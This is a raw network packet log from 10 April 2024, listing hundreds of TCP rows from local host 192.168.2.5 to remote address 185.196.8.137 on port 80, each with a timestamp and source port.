Apr 10, 2024 10:24:11.264098883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.264098883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.264098883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.264178038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.264178038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.264247894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.264334917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265296936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265296936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265398979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265398979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265398979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265490055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265490055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265562057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265562057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265639067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265639067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265661001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265757084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265757084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265757084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265795946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265873909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265873909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265913963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265913963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.265959024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266052961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266052961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266052961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266134977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266135931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266201019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266201019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266302109 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266356945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266356945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266356945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266478062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266541004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266541004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266590118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266865969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266865969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266865969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266941071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266941071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.266968966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267019987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267091036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267155886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267174006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267294884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267340899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267431974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267431974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267431974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267541885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267541885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267541885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267652988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267652988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267652988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267738104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267738104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267834902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267834902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267834902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267934084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267934084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.267934084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268166065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268166065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268209934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268260956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268260956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268455982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268455982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268513918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268605947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268677950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268677950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268759012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268759012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268858910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268858910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268858910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268970966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268970966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.268970966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269071102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269071102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269071102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269155979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269155979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269244909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269244909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269244909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269335032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269335032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269335032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269437075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269437075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269437075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269553900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269553900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269553900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269696951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269696951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269696951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269762993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269762993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269886971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269886971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.269896030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270005941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270005941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270190001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270190001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270296097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270296097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270296097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270416975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270416975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270416975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270510912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270510912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270510912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270575047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270575047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270670891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270670891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270670891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270775080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270775080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270775080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270884037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270884037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270884037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270994902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270994902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.270994902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271060944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271060944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271187067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271187067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271187067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271253109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271253109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271393061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271393061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271550894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271550894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271636963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271636963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271636963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271754026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271754026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271754026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271851063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271851063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271851063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271948099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271948099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.271948099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272051096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272051096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272051096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272141933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272141933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272141933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272211075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272211075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272319078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272319078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272319078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272396088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272396088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272506952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272506952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272506952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272579908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272579908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272711992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272711992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272798061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272798061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272798061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272918940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.272918940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273024082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273024082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273024082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273133039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273133039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273133039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273246050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273246050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273246050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273314953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273314953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273415089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273415089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273415089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273504019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273504019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273504019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273602009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273602009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273602009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273718119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273718119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273718119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273844004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273844004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273844004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273906946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.273906946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274038076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274038076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274038076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274149895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274149895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274295092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274295092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274410963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274410963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274410963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274528980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274528980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274528980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274629116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274629116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274629116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274727106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274727106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274727106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274827957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274827957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274827957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274954081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274954081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.274954081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275053024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275053024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275053024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275156021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275156021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275156021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275228977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275228977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275347948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275347948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275347948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275382996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275437117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275548935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275548935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275665045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275665045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275665045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275774956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275774956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275774956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275865078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275865078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275865078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.275896072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276005030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276005030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276005030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276102066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276102066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276102066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276209116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276210070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276222944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276305914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276372910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276384115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276472092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276472092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276535988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276535988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276626110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276626110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276691914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276705980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276825905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276825905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.276940107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277158022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277173042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277232885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277232885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277307987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277307987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277405977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277405977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277405977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277513027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277513027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277513027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277592897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277592897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277717113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277729988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277810097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277810097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277868986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277882099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277966976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.277966976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278038025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278038025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278184891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278184891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278270006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278270006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278270006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278352022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278352022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278449059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278449059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278449059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278522968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278522968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278633118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278633118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278633118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278733015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278733015 CEST	49718	80	192.168.2.5	185.196.8.137
